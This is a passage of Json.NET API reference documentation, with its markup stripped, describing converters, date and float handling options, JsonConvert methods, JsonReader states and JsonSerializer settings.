this instance can convert the specified object type; otherwise, false. - - - - - Converts XML to and from JSON. - - - - - Gets or sets the name of the root element to insert when deserializing to XML if the JSON structure has produced multiple root elements. - - The name of the deserialized root element. - - - - Gets or sets a value to indicate whether to write the Json.NET array attribute. - This attribute helps preserve arrays when converting the written XML back to JSON. - - true if the array attribute is written to the XML; otherwise, false. - - - - Gets or sets a value indicating whether to write the root JSON object. - - true if the JSON root object is omitted; otherwise, false. - - - - Gets or sets a value indicating whether to encode special characters when converting JSON to XML. - If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify - XML namespaces, attributes or processing directives. Instead special characters are encoded and written - as part of the XML element name. - - true if special characters are encoded; otherwise, false. - - - - Writes the JSON representation of the object. - - The to write to. - The calling serializer. - The value. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Checks if the is a namespace attribute. - - Attribute name to test. - The attribute name prefix if it has one, otherwise an empty string. - true if attribute name is for a namespace attribute, otherwise false. - - - - Determines whether this instance can convert the specified value type. - - Type of the value. - - true if this instance can convert the specified value type; otherwise, false. - - - - - Specifies how dates are formatted when writing JSON text. - - - - - Dates are written in the ISO 8601 format, e.g. "2012-03-21T05:40Z". - - - - - Dates are written in the Microsoft JSON format, e.g. "\/Date(1198908717056)\/". - - - - - Specifies how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON text. - - - - - Date formatted strings are not parsed to a date type and are read as strings. - - - - - Date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed to . - - - - - Date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed to . - - - - - Specifies how to treat the time value when converting between string and . - - - - - Treat as local time. If the object represents a Coordinated Universal Time (UTC), it is converted to the local time. - - - - - Treat as a UTC. If the object represents a local time, it is converted to a UTC. - - - - - Treat as a local time if a is being converted to a string. - If a string is being converted to , convert to a local time if a time zone is specified. - - - - - Time zone information should be preserved when converting. - - - - - The default JSON name table implementation. - - - - - Initializes a new instance of the class. - - - - - Gets a string containing the same characters as the specified range of characters in the given array. - - The character array containing the name to find. - The zero-based index into the array specifying the first character of the name. - The number of characters in the name. - A string containing the same characters as the specified range of characters in the given array. - - - - Adds the specified string into name table. - - The string to add. - This method is not thread-safe. - The resolved string. - - - - Specifies default value handling options for the . - - - - - - - - - Include members where the member value is the same as the member's default value when serializing objects. - Included members are written to JSON. Has no effect when deserializing. - - - - - Ignore members where the member value is the same as the member's default value when serializing objects - so that it is not written to JSON. - This option will ignore all default values (e.g. null for objects and nullable types; 0 for integers, - decimals and floating point numbers; and false for booleans). The default value ignored can be changed by - placing the on the property. - - - - - Members with a default value but no JSON will be set to their default value when deserializing. - - - - - Ignore members where the member value is the same as the member's default value when serializing objects - and set members to their default value when deserializing. - - - - - Specifies float format handling options when writing special floating point numbers, e.g. , - and with . - - - - - Write special floating point values as strings in JSON, e.g. "NaN", "Infinity", "-Infinity". - - - - - Write special floating point values as symbols in JSON, e.g. NaN, Infinity, -Infinity. - Note that this will produce non-valid JSON. - - - - - Write special floating point values as the property's default value in JSON, e.g. 0.0 for a property, null for a of property. - - - - - Specifies how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. - - - - - Floating point numbers are parsed to . - - - - - Floating point numbers are parsed to . - - - - - Specifies formatting options for the . - - - - - No special formatting is applied. This is the default. - - - - - Causes child objects to be indented according to the and settings. - - - - - Provides an interface for using pooled arrays. - - The array type content. - - - - Rent an array from the pool. This array must be returned when it is no longer needed. - - The minimum required length of the array. The returned array may be longer. - The rented array from the pool. This array must be returned when it is no longer needed. - - - - Return an array to the pool. - - The array that is being returned. - - - - Provides an interface to enable a class to return line and position information. - - - - - Gets a value indicating whether the class can return line information. - - - true if and can be provided; otherwise, false. - - - - - Gets the current line number. - - The current line number or 0 if no line information is available (for example, when returns false). - - - - Gets the current line position. - - The current line position or 0 if no line information is available (for example, when returns false). - - - - Instructs the how to serialize the collection. - - - - - Gets or sets a value indicating whether null items are allowed in the collection. - - true if null items are allowed in the collection; otherwise, false. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class with a flag indicating whether the array can contain null items. - - A flag indicating whether the array can contain null items. - - - - Initializes a new instance of the class with the specified container Id. - - The container Id. - - - - Instructs the to use the specified constructor when deserializing that object. - - - - - Instructs the how to serialize the object. - - - - - Gets or sets the id. - - The id. - - - - Gets or sets the title. - - The title. - - - - Gets or sets the description. - - The description. - - - - Gets or sets the collection's items converter. - - The collection's items converter. - - - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - When non-null, there must be a constructor defined in the that exactly matches the number, - order, and type of these parameters. - - - - [JsonContainer(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, "Four" })] - - - - - - Gets or sets the of the . - - The of the . - - - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - When non-null, there must be a constructor defined in the that exactly matches the number, - order, and type of these parameters. - - - - [JsonContainer(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, "Four" })] - - - - - - Gets or sets a value that indicates whether to preserve object references. - - - true to keep object reference; otherwise, false. The default is false. - - - - - Gets or sets a value that indicates whether to preserve collection's items references. - - - true to keep collection's items object references; otherwise, false. The default is false. - - - - - Gets or sets the reference loop handling used when serializing the collection's items. - - The reference loop handling. - - - - Gets or sets the type name handling used when serializing the collection's items. - - The type name handling. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class with the specified container Id. - - The container Id. - - - - Provides methods for converting between .NET types and JSON types. - - - - - - - - Gets or sets a function that creates default . - Default settings are automatically used by serialization methods on , - and and on . - To serialize without using any default settings create a with - . - - - - - Represents JavaScript's boolean value true as a string. This field is read-only. - - - - - Represents JavaScript's boolean value false as a string. This field is read-only. - - - - - Represents JavaScript's null as a string. This field is read-only. - - - - - Represents JavaScript's undefined as a string. This field is read-only. - - - - - Represents JavaScript's positive infinity as a string. This field is read-only. - - - - - Represents JavaScript's negative infinity as a string. This field is read-only. - - - - - Represents JavaScript's NaN as a string. This field is read-only. - - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation using the specified. - - The value to convert. - The format the date will be converted to. - The time zone handling when the date is converted to a string. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation using the specified. - - The value to convert. - The format the date will be converted to. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - The string delimiter character. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - The string delimiter character. - The string escape handling. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Serializes the specified object to a JSON string. - - The object to serialize. - A JSON string representation of the object. - - - - Serializes the specified object to a JSON string using formatting. - - The object to serialize. - Indicates how the output should be formatted. - - A JSON string representation of the object. - - - - - Serializes the specified object to a JSON string using a collection of . - - The object to serialize. - A collection of converters used while serializing. - A JSON string representation of the object. - - - - Serializes the specified object to a JSON string using formatting and a collection of . - - The object to serialize. - Indicates how the output should be formatted. - A collection of converters used while serializing. - A JSON string representation of the object. - - - - Serializes the specified object to a JSON string using . - - The object to serialize. - The used to serialize the object. - If this is null, default serialization settings will be used. - - A JSON string representation of the object. - - - - - Serializes the specified object to a JSON string using a type, formatting and . - - The object to serialize. - The used to serialize the object. - If this is null, default serialization settings will be used. - - The type of the value being serialized. - This parameter is used when is to write out the type name if the type of the value does not match. - Specifying the type is optional. - - - A JSON string representation of the object. - - - - - Serializes the specified object to a JSON string using formatting and . - - The object to serialize. - Indicates how the output should be formatted. - The used to serialize the object. - If this is null, default serialization settings will be used. - - A JSON string representation of the object. - - - - - Serializes the specified object to a JSON string using a type, formatting and . - - The object to serialize. - Indicates how the output should be formatted. - The used to serialize the object. - If this is null, default serialization settings will be used. - - The type of the value being serialized. - This parameter is used when is to write out the type name if the type of the value does not match. - Specifying the type is optional. - - - A JSON string representation of the object. - - - - - Deserializes the JSON to a .NET object. - - The JSON to deserialize. - The deserialized object from the JSON string. - - - - Deserializes the JSON to a .NET object using . - - The JSON to deserialize. - - The used to deserialize the object. - If this is null, default serialization settings will be used. - - The deserialized object from the JSON string. - - - - Deserializes the JSON to the specified .NET type. - - The JSON to deserialize. - The of object being deserialized. - The deserialized object from the JSON string. - - - - Deserializes the JSON to the specified .NET type. - - The type of the object to deserialize to. - The JSON to deserialize. - The deserialized object from the JSON string. - - - - Deserializes the JSON to the given anonymous type. - - - The anonymous type to deserialize to. This can't be specified - traditionally and must be inferred from the anonymous type passed - as a parameter. - - The JSON to deserialize. - The anonymous type object. - The deserialized anonymous type from the JSON string. - - - - Deserializes the JSON to the given anonymous type using . - - - The anonymous type to deserialize to. This can't be specified - traditionally and must be inferred from the anonymous type passed - as a parameter. - - The JSON to deserialize. - The anonymous type object. - - The used to deserialize the object. - If this is null, default serialization settings will be used. - - The deserialized anonymous type from the JSON string. - - - - Deserializes the JSON to the specified .NET type using a collection of . - - The type of the object to deserialize to. - The JSON to deserialize. - Converters to use while deserializing. - The deserialized object from the JSON string. - - - - Deserializes the JSON to the specified .NET type using . - - The type of the object to deserialize to. - The object to deserialize. - - The used to deserialize the object. - If this is null, default serialization settings will be used. - - The deserialized object from the JSON string. - - - - Deserializes the JSON to the specified .NET type using a collection of . - - The JSON to deserialize. - The type of the object to deserialize. - Converters to use while deserializing. - The deserialized object from the JSON string. - - - - Deserializes the JSON to the specified .NET type using . - - The JSON to deserialize. - The type of the object to deserialize to. - - The used to deserialize the object. - If this is null, default serialization settings will be used. - - The deserialized object from the JSON string. - - - - Populates the object with values from the JSON string. - - The JSON to populate values from. - The target object to populate values onto. - - - - Populates the object with values from the JSON string using . - - The JSON to populate values from. - The target object to populate values onto. - - The used to deserialize the object. - If this is null, default serialization settings will be used. - - - - - Serializes the to a JSON string. - - The node to serialize. - A JSON string of the . - - - - Serializes the to a JSON string using formatting. - - The node to serialize. - Indicates how the output should be formatted. - A JSON string of the . - - - - Serializes the to a JSON string using formatting and omits the root object if is true. - - The node to serialize. - Indicates how the output should be formatted. - Omits writing the root object. - A JSON string of the . - - - - Deserializes the from a JSON string. - - The JSON string. - The deserialized . - - - - Deserializes the from a JSON string nested in a root element specified by . - - The JSON string. - The name of the root element to append when deserializing. - The deserialized . - - - - Deserializes the from a JSON string nested in a root element specified by - and writes a Json.NET array attribute for collections. - - The JSON string. - The name of the root element to append when deserializing. - - A value to indicate whether to write the Json.NET array attribute. - This attribute helps preserve arrays when converting the written XML back to JSON. - - The deserialized . - - - - Deserializes the from a JSON string nested in a root element specified by , - writes a Json.NET array attribute for collections, and encodes special characters. - - The JSON string. - The name of the root element to append when deserializing. - - A value to indicate whether to write the Json.NET array attribute. - This attribute helps preserve arrays when converting the written XML back to JSON. - - - A value to indicate whether to encode special characters when converting JSON to XML. - If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify - XML namespaces, attributes or processing directives. Instead special characters are encoded and written - as part of the XML element name. - - The deserialized . - - - - Serializes the to a JSON string. - - The node to convert to JSON. - A JSON string of the . - - - - Serializes the to a JSON string using formatting. - - The node to convert to JSON. - Indicates how the output should be formatted. - A JSON string of the . - - - - Serializes the to a JSON string using formatting and omits the root object if is true. - - The node to serialize. - Indicates how the output should be formatted. - Omits writing the root object. - A JSON string of the . - - - - Deserializes the from a JSON string. - - The JSON string. - The deserialized . - - - - Deserializes the from a JSON string nested in a root element specified by . - - The JSON string. - The name of the root element to append when deserializing. - The deserialized . - - - - Deserializes the from a JSON string nested in a root element specified by - and writes a Json.NET array attribute for collections. - - The JSON string. - The name of the root element to append when deserializing. - - A value to indicate whether to write the Json.NET array attribute. - This attribute helps preserve arrays when converting the written XML back to JSON. - - The deserialized . - - - - Deserializes the from a JSON string nested in a root element specified by , - writes a Json.NET array attribute for collections, and encodes special characters. - - The JSON string. - The name of the root element to append when deserializing. - - A value to indicate whether to write the Json.NET array attribute. - This attribute helps preserve arrays when converting the written XML back to JSON. - - - A value to indicate whether to encode special characters when converting JSON to XML. - If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify - XML namespaces, attributes or processing directives. Instead special characters are encoded and written - as part of the XML element name. - - The deserialized . - - - - Converts an object to and from JSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Gets a value indicating whether this can read JSON. - - true if this can read JSON; otherwise, false. - - - - Gets a value indicating whether this can write JSON. - - true if this can write JSON; otherwise, false. - - - - Converts an object to and from JSON. - - The object type to convert. - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. If there is no existing value then null will be used. - The existing value has a value. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Instructs the to use the specified when serializing the member or class. - - - - - Gets the of the . - - The of the . - - - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - - - - - Initializes a new instance of the class. - - Type of the . - - - - Initializes a new instance of the class. - - Type of the . - Parameter list to use when constructing the . Can be null. - - - - Represents a collection of . - - - - - Instructs the how to serialize the collection. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class with the specified container Id. - - The container Id. - - - - The exception thrown when an error occurs during JSON serialization or deserialization. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - with a specified error message. - - The error message that explains the reason for the exception. - - - - Initializes a new instance of the class - with a specified error message and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Instructs the to deserialize properties with no matching class member into the specified collection - and write values during serialization. - - - - - Gets or sets a value that indicates whether to write extension data when serializing the object. - - - true to write extension data when serializing the object; otherwise, false. The default is true. - - - - - Gets or sets a value that indicates whether to read extension data when deserializing the object. - - - true to read extension data when deserializing the object; otherwise, false. The default is true. - - - - - Initializes a new instance of the class. - - - - - Instructs the not to serialize the public field or public read/write property value. - - - - - Base class for a table of atomized string objects. - - - - - Gets a string containing the same characters as the specified range of characters in the given array. - - The character array containing the name to find. - The zero-based index into the array specifying the first character of the name. - The number of characters in the name. - A string containing the same characters as the specified range of characters in the given array. - - - - Instructs the how to serialize the object. - - - - - Gets or sets the member serialization. - - The member serialization. - - - - Gets or sets the missing member handling used when deserializing this object. - - The missing member handling. - - - - Gets or sets how the object's properties with null values are handled during serialization and deserialization. - - How the object's properties with null values are handled during serialization and deserialization. - - - - Gets or sets a value that indicates whether the object's properties are required. - - - A value indicating whether the object's properties are required. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class with the specified member serialization. - - The member serialization. - - - - Initializes a new instance of the class with the specified container Id. - - The container Id. - - - - Instructs the to always serialize the member with the specified name. - - - - - Gets or sets the type used when serializing the property's collection items. - - The collection's items type. - - - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - When non-null, there must be a constructor defined in the that exactly matches the number, - order, and type of these parameters. - - - - [JsonProperty(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, "Four" })] - - - - - - Gets or sets the of the . - - The of the . - - - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - When non-null, there must be a constructor defined in the that exactly matches the number, - order, and type of these parameters. - - - - [JsonProperty(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, "Four" })] - - - - - - Gets or sets the null value handling used when serializing this property. - - The null value handling. - - - - Gets or sets the default value handling used when serializing this property. - - The default value handling. - - - - Gets or sets the reference loop handling used when serializing this property. - - The reference loop handling. - - - - Gets or sets the object creation handling used when deserializing this property. - - The object creation handling. - - - - Gets or sets the type name handling used when serializing this property. - - The type name handling. - - - - Gets or sets whether this property's value is serialized as a reference. - - Whether this property's value is serialized as a reference. - - - - Gets or sets the order of serialization of a member. - - The numeric order of serialization. - - - - Gets or sets a value indicating whether this property is required. - - - A value indicating whether this property is required. - - - - - Gets or sets the name of the property. - - The name of the property. - - - - Gets or sets the reference loop handling used when serializing the property's collection items. - - The collection's items reference loop handling. - - - - Gets or sets the type name handling used when serializing the property's collection items. - - The collection's items type name handling. - - - - Gets or sets whether this property's collection items are serialized as a reference. - - Whether this property's collection items are serialized as a reference. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class with the specified name. - - Name of the property. - - - - Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data. - - - - - Asynchronously reads the next JSON token from the source. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns true if the next token was read successfully; false if there are no more tokens to read. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously skips the children of the current token. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously reads the next JSON token from the source as a []. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the []. This result will be null at the end of an array. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously reads the next JSON token from the source as a . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the . This result will be null at the end of an array. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Specifies the state of the reader. - - - - - A read method has not been called. - - - - - The end of the file has been reached successfully. - - - - - Reader is at a property. - - - - - Reader is at the start of an object. - - - - - Reader is in an object. - - - - - Reader is at the start of an array. - - - - - Reader is in an array. - - - - - The method has been called. - - - - - Reader has just read a value. - - - - - Reader is at the start of a constructor. - - - - - Reader is in a constructor. - - - - - An error occurred that prevents the read operation from continuing. - - - - - The end of the file has been reached successfully. - - - - - Gets the current reader state. - - The current reader state. - - - - Gets or sets a value indicating whether the source should be closed when this reader is closed. - - - true to close the source when this reader is closed; otherwise false. The default is true. - - - - - Gets or sets a value indicating whether multiple pieces of JSON content can - be read from a continuous stream without erroring. - - - true to support reading multiple pieces of JSON content; otherwise false. - The default is false. - - - - - Gets the quotation mark character used to enclose the value of a string. - - - - - Gets or sets how time zones are handled when reading JSON. - - - - - Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. - - - - - Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. - - - - - Gets or sets how custom date formatted strings are parsed when reading JSON. - - - - - Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . - A null value means there is no maximum. - The default value is 64. - - - - - Gets the type of the current JSON token. - - - - - Gets the text value of the current JSON token. - - - - - Gets the .NET type for the current JSON token. - - - - - Gets the depth of the current token in the JSON document. - - The depth of the current token in the JSON document. - - - - Gets the path of the current JSON token. - - - - - Gets or sets the culture used when reading JSON. Defaults to . - - - - - Initializes a new instance of the class. - - - - - Reads the next JSON token from the source. - - true if the next token was read successfully; false if there are no more tokens to read. - - - - Reads the next JSON token from the source as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a . - - A . This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a []. - - A [] or null if the next JSON token is null. This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a of . - - A of . This method will return null at the end of an array. - - - - Skips the children of the current token. - - - - - Sets the current token. - - The new token. - - - - Sets the current token and value. - - The new token. - The value. - - - - Sets the current token and value. - - The new token. - The value. - A flag indicating whether the position index inside an array should be updated. - - - - Sets the state based on current token type. - - - - - Releases unmanaged and - optionally - managed resources. - - true to release both managed and unmanaged resources; false to release only unmanaged resources. - - - - Changes the reader's state to . - If is set to true, the source is also closed. - - - - - The exception thrown when an error occurs while reading JSON text. - - - - - Gets the line number indicating where the error occurred. - - The line number indicating where the error occurred. - - - - Gets the line position indicating where the error occurred. - - The line position indicating where the error occurred. - - - - Gets the path to the JSON where the error occurred. - - The path to the JSON where the error occurred. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - with a specified error message. - - The error message that explains the reason for the exception. - - - - Initializes a new instance of the class - with a specified error message and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Initializes a new instance of the class - with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The path to the JSON where the error occurred. - The line number indicating where the error occurred. - The line position indicating where the error occurred. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Instructs the to always serialize the member, and to require that the member has a value. - - - - - The exception thrown when an error occurs during JSON serialization or deserialization. - - - - - Gets the line number indicating where the error occurred. - - The line number indicating where the error occurred. - - - - Gets the line position indicating where the error occurred. - - The line position indicating where the error occurred. - - - - Gets the path to the JSON where the error occurred. - - The path to the JSON where the error occurred. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - with a specified error message. - - The error message that explains the reason for the exception. - - - - Initializes a new instance of the class - with a specified error message and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Initializes a new instance of the class - with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The path to the JSON where the error occurred. - The line number indicating where the error occurred. - The line position indicating where the error occurred. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Serializes and deserializes objects into and from the JSON format. - The enables you to control how objects are encoded into JSON. - - - - - Occurs when the errors during serialization and deserialization. - - - - - Gets or sets the used by the serializer when resolving references. - - - - - Gets or sets the used by the serializer when resolving type names. - - - - - Gets or sets the used by the serializer when resolving type names. - - - - - Gets or sets the used by the serializer when writing trace messages. - - The trace writer. - - - - Gets or sets the equality comparer used by the serializer when comparing references. - - The equality comparer. - - - - Gets or sets how type name writing and reading is handled by the serializer. - The default value is . - - - should be used with caution when your application deserializes JSON from an external source. - Incoming types should be validated with a custom - when deserializing with a value other than . - - - - - Gets or sets how a type name assembly is written and resolved by the serializer. - The default value is . - - The type name assembly format. - - - - Gets or sets how a type name assembly is written and resolved by the serializer. - The default value is . - - The type name assembly format. - - - - Gets or sets how object references are preserved by the serializer. - The default value is . - - - - - Gets or sets how reference loops (e.g. a class referencing itself) is handled. - The default value is . - - - - - Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization. - The default value is . - - - - - Gets or sets how null values are handled during serialization and deserialization. - The default value is . - - - - - Gets or sets how default values are handled during serialization and deserialization. - The default value is . - - - - - Gets or sets how objects are created during deserialization. - The default value is . - - The object creation handling. - - - - Gets or sets how constructors are used during deserialization. - The default value is . - - The constructor handling. - - - - Gets or sets how metadata properties are used during deserialization. - The default value is . - - The metadata properties handling. - - - - Gets a collection that will be used during serialization. - - Collection that will be used during serialization. - - - - Gets or sets the contract resolver used by the serializer when - serializing .NET objects to JSON and vice versa. - - - - - Gets or sets the used by the serializer when invoking serialization callback methods. - - The context. - - - - Indicates how JSON text output is formatted. - The default value is . - - - - - Gets or sets how dates are written to JSON text. - The default value is . - - - - - Gets or sets how time zones are handled during serialization and deserialization. - The default value is . - - - - - Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. - The default value is . - - - - - Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. - The default value is . - - - - - Gets or sets how special floating point numbers, e.g. , - and , - are written as JSON text. - The default value is . - - - - - Gets or sets how strings are escaped when writing JSON text. - The default value is . - - - - - Gets or sets how and values are formatted when writing JSON text, - and the expected date format when reading JSON text. - The default value is "yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK". - - - - - Gets or sets the culture used when reading JSON. - The default value is . - - - - - Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . - A null value means there is no maximum. - The default value is 64. - - - - - Gets a value indicating whether there will be a check for additional JSON content after deserializing an object. - The default value is false. - - - true if there will be a check for additional JSON content after deserializing an object; otherwise, false. - - - - - Initializes a new instance of the class. - - - - - Creates a new instance. - The will not use default settings - from . - - - A new instance. - The will not use default settings - from . - - - - - Creates a new instance using the specified . - The will not use default settings - from . - - The settings to be applied to the . - - A new instance using the specified . - The will not use default settings - from . - - - - - Creates a new instance. - The will use default settings - from . - - - A new instance. - The will use default settings - from . - - - - - Creates a new instance using the specified . - The will use default settings - from as well as the specified . - - The settings to be applied to the . - - A new instance using the specified . - The will use default settings - from as well as the specified . - - - - - Populates the JSON values onto the target object. - - The that contains the JSON structure to read values from. - The target object to populate values onto. - - - - Populates the JSON values onto the target object. - - The that contains the JSON structure to read values from. - The target object to populate values onto. - - - - Deserializes the JSON structure contained by the specified . - - The that contains the JSON structure to deserialize. - The being deserialized. - - - - Deserializes the JSON structure contained by the specified - into an instance of the specified type. - - The containing the object. - The of object being deserialized. - The instance of being deserialized. - - - - Deserializes the JSON structure contained by the specified - into an instance of the specified type. - - The containing the object. - The type of the object to deserialize. - The instance of being deserialized. - - - - Deserializes the JSON structure contained by the specified - into an instance of the specified type. - - The containing the object. - The of object being deserialized. - The instance of being deserialized. - - - - Serializes the specified and writes the JSON structure - using the specified . - - The used to write the JSON structure. - The to serialize. - - - - Serializes the specified and writes the JSON structure - using the specified . - - The used to write the JSON structure. - The to serialize. - - The type of the value being serialized. - This parameter is used when is to write out the type name if the type of the value does not match. - Specifying the type is optional. - - - - - Serializes the specified and writes the JSON structure - using the specified . - - The used to write the JSON structure. - The to serialize. - - The type of the value being serialized. - This parameter is used when is Auto to write out the type name if the type of the value does not match. - Specifying the type is optional. - - - - - Serializes the specified and writes the JSON structure - using the specified . - - The used to write the JSON structure. - The to serialize. - - - - Specifies the settings on a object. - - - - - Gets or sets how reference loops (e.g. a class referencing itself) are handled. - The default value is . - - Reference loop handling. - - - - Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization. - The default value is . - - Missing member handling. - - - - Gets or sets how objects are created during deserialization. - The default value is . - - The object creation handling. - - - - Gets or sets how null values are handled during serialization and deserialization. - The default value is . - - Null value handling. - - - - Gets or sets 